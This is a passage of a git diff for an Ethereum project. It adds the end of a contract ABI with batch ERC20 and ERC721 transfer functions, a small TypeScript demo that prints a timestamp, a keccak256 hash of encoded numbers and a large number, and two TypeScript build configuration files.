"name": "BatchTransferERC20", + "inputs": [ + { + "name": "token", + "type": "address", + "internalType": "contract ERC20" + }, + { + "name": "toAddressList", + "type": "address[]", + "internalType": "address[]" + }, + { + "name": "toAmountList", + "type": "uint256[]", + "internalType": "uint256[]" + } + ], + "outputs": [], + "stateMutability": "nonpayable" + }, + { + "type": "function", + "name": "BatchTransferERC721", + "inputs": [ + { + "name": "token", + "type": "address", + "internalType": "contract ERC721" + }, + { + "name": "toAddressList", + "type": "address[]", + "internalType": "address[]" + }, + { + "name": "toTokenIDList", + "type": "uint256[]", + "internalType": "uint256[]" + } + ], + "outputs": [], + "stateMutability": "nonpayable" + } +] diff --git a/ts/demo.ts b/ts/demo.ts new file mode 100644 index 0000000..875a639 --- /dev/null +++ b/ts/demo.ts @@ -0,0 +1,20 @@ +import dayjs from "dayjs"; +import { utils, eth } from "web3"; +const tNow = dayjs(); +console.log(tNow.format("YYYY-MM-DDTHH:mm:ssZ[Z]")); + +console.log( + utils.keccak256( + eth.abi.encodeParameter("uint256[]", [ + "11397568185806560130291530949248708355673262872727946990834312389557386886033", + "54405834204020870944342294544757609285398723182661749830189277079337680158706", + "27", + ]), + ), +); + +console.log( + utils.toNumber( + "115_792_089_237_316_195_423_570_985_008_687_907_852_837_564_279_074_904_382_605_163_141_518_161_494_337", + ), +); diff --git a/tsconfig.build.json b/tsconfig.build.json new file mode 100644 index 0000000..7ebcb51 --- /dev/null +++ b/tsconfig.build.json @@ -0,0 +1,4 @@ +{ + "extends": "./tsconfig.json", + "exclude": ["ts/**/*spec.ts", "ts/**/*.ts"] +} diff --git a/tsconfig.json b/tsconfig.json new file mode 100644 index 0000000..cbefd81 --- /dev/null +++ b/tsconfig.json @@ -0,0 +1,21 @@ +{ + "compilerOptions": { + "module": "commonjs", + "declaration": true, + "removeComments": true, + "emitDecoratorMetadata": true, + "experimentalDecorators": true, + "allowSyntheticDefaultImports": true, + "target": "ES2021", + "sourceMap": true, + "outDir": "./build/ts/dist", + "baseUrl": "./ts", + "incremental": true, + "noImplicitAny": true, + "noImplicitThis": true, + "esModuleInterop": true, + "strictNullChecks": true, + "strictFunctionTypes": true, + "skipLibCheck": true + } +}